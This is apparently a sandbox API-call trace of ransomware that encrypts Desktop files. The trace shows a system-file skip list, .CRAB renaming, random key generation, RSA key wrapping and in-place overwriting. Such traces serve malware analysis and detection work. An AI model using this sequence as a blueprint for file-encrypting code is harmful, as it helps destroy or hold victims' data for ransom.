	[0125.497] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xfc80, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0xfc80, lpOverlapped=0x0) returned 1
	[0125.497] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.498] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.504] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.504] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.505] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.505] CloseHandle (hObject=0x3e8) returned 1
	[0125.505] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.505] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.506] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.507] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.507] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.507] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.507] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.507] lstrcmpW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2=".") returned 1
	[0125.507] lstrcmpW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2="..") returned 1
	[0125.507] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="WBEU1XtTlLyiky1TXdx.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4"
	[0125.507] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.508] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4") returned 53
	[0125.508] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4") returned 53
	[0125.508] lstrlenW (lpString=".mp4") returned 4
	[0125.508] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.508] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp4 ") returned 5
	[0125.508] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.508] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4") returned 53
	[0125.508] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4") returned 53
	[0125.509] lstrcmpiW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2="desktop.ini") returned 1
	[0125.509] lstrcmpiW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2="autorun.inf") returned 1
	[0125.509] lstrcmpiW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2="ntuser.dat") returned 1
	[0125.509] lstrcmpiW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2="iconcache.db") returned 1
	[0125.509] lstrcmpiW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2="bootsect.bak") returned 1
	[0125.509] lstrcmpiW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2="boot.ini") returned 1
	[0125.509] lstrcmpiW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2="ntuser.dat.log") returned 1
	[0125.509] lstrcmpiW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2="thumbs.db") returned 1
	[0125.509] lstrcmpiW (lpString1="WBEU1XtTlLyiky1TXdx.mp4", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.509] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.509] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4.CRAB") returned 58
	[0125.509] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wbeu1xttllyiky1txdx.mp4")) returned 0x20
	[0125.509] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4", dwFileAttributes=0x20) returned 1
	[0125.510] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wbeu1xttllyiky1txdx.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wbeu1xttllyiky1txdx.mp4.crab")) returned 1
	[0125.512] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.513] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4.CRAB"
	[0125.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4.CRAB.CRAB"
	[0125.513] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0125.513] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.514] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.514] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.514] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.514] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.514] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.514] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0125.515] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.515] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.515] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.515] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.516] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.516] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.516] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.516] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.516] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0125.517] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158640) returned 1
	[0125.517] CryptGetKeyParam (in: hKey=0x3158640, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.517] CryptEncrypt (in: hKey=0x3158640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.517] GetLastError () returned 0x0
	[0125.517] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0125.517] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0125.518] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158c40) returned 1
	[0125.518] CryptGetKeyParam (in: hKey=0x3158c40, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.518] CryptEncrypt (in: hKey=0x3158c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.518] GetLastError () returned 0x0
	[0125.518] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0125.518] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WBEU1XtTlLyiky1TXdx.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wbeu1xttllyiky1txdx.mp4.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.519] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.519] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.519] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x11ee5, lpOverlapped=0x0) returned 1
	[0125.533] VirtualAlloc (lpAddress=0x0, dwSize=0x11ef0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.535] VirtualAlloc (lpAddress=0x0, dwSize=0x11ef0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0125.537] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.537] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffee11b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.537] WriteFile (in: hFile=0x3e8, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x11ef0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314d45c*=0x11ef0, lpOverlapped=0x0) returned 1
	[0125.538] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.538] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.542] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.542] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.543] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.543] CloseHandle (hObject=0x3e8) returned 1
	[0125.543] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.543] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.543] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.544] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.544] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.544] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.544] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.544] lstrcmpW (lpString1="WipFpQ.m4a", lpString2=".") returned 1
	[0125.544] lstrcmpW (lpString1="WipFpQ.m4a", lpString2="..") returned 1
	[0125.545] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="WipFpQ.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a"
	[0125.545] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.545] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a") returned 40
	[0125.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a") returned 40
	[0125.545] lstrlenW (lpString=".m4a") returned 4
	[0125.545] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.545] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0125.545] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a") returned 40
	[0125.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a") returned 40
	[0125.546] lstrcmpiW (lpString1="WipFpQ.m4a", lpString2="desktop.ini") returned 1
	[0125.546] lstrcmpiW (lpString1="WipFpQ.m4a", lpString2="autorun.inf") returned 1
	[0125.546] lstrcmpiW (lpString1="WipFpQ.m4a", lpString2="ntuser.dat") returned 1
	[0125.546] lstrcmpiW (lpString1="WipFpQ.m4a", lpString2="iconcache.db") returned 1
	[0125.546] lstrcmpiW (lpString1="WipFpQ.m4a", lpString2="bootsect.bak") returned 1
	[0125.546] lstrcmpiW (lpString1="WipFpQ.m4a", lpString2="boot.ini") returned 1
	[0125.546] lstrcmpiW (lpString1="WipFpQ.m4a", lpString2="ntuser.dat.log") returned 1
	[0125.546] lstrcmpiW (lpString1="WipFpQ.m4a", lpString2="thumbs.db") returned 1
	[0125.546] lstrcmpiW (lpString1="WipFpQ.m4a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0125.546] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.546] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a.CRAB") returned 45
	[0125.546] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wipfpq.m4a")) returned 0x20
	[0125.547] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a", dwFileAttributes=0x20) returned 1
	[0125.547] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wipfpq.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wipfpq.m4a.crab")) returned 1
	[0125.548] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.548] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a.CRAB"
	[0125.548] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a.CRAB.CRAB"
	[0125.548] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0125.549] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.549] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.549] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.549] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0125.549] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.550] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.550] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0125.550] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.551] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.551] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.551] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0125.551] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.551] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.551] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.551] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.552] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0125.552] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158dc0) returned 1
	[0125.552] CryptGetKeyParam (in: hKey=0x3158dc0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.552] CryptEncrypt (in: hKey=0x3158dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0125.553] GetLastError () returned 0x0
	[0125.553] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.553] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0125.553] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3158e00) returned 1
	[0125.553] CryptGetKeyParam (in: hKey=0x3158e00, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0125.553] CryptEncrypt (in: hKey=0x3158e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0125.554] GetLastError () returned 0x0
	[0125.554] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.554] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WipFpQ.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wipfpq.m4a.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0125.554] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.556] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.556] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0xa7f0, lpOverlapped=0x0) returned 1
	[0125.571] VirtualAlloc (lpAddress=0x0, dwSize=0xa7f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.572] VirtualAlloc (lpAddress=0x0, dwSize=0xa7f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.574] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.574] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff5810, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.574] WriteFile (in: hFile=0x3e8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xa7f0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314d45c*=0xa7f0, lpOverlapped=0x0) returned 1
	[0125.574] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.575] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.579] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.579] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0125.579] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0125.579] CloseHandle (hObject=0x3e8) returned 1
	[0125.579] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.579] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.580] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.580] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.580] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.582] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.582] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0125.582] lstrcmpW (lpString1="Y6DMc98RPkT", lpString2=".") returned 1
	[0125.582] lstrcmpW (lpString1="Y6DMc98RPkT", lpString2="..") returned 1
	[0125.582] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="Y6DMc98RPkT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT"
	[0125.582] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\"
	[0125.582] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.582] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0125.582] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0125.583] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0125.583] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0125.583] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.583] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
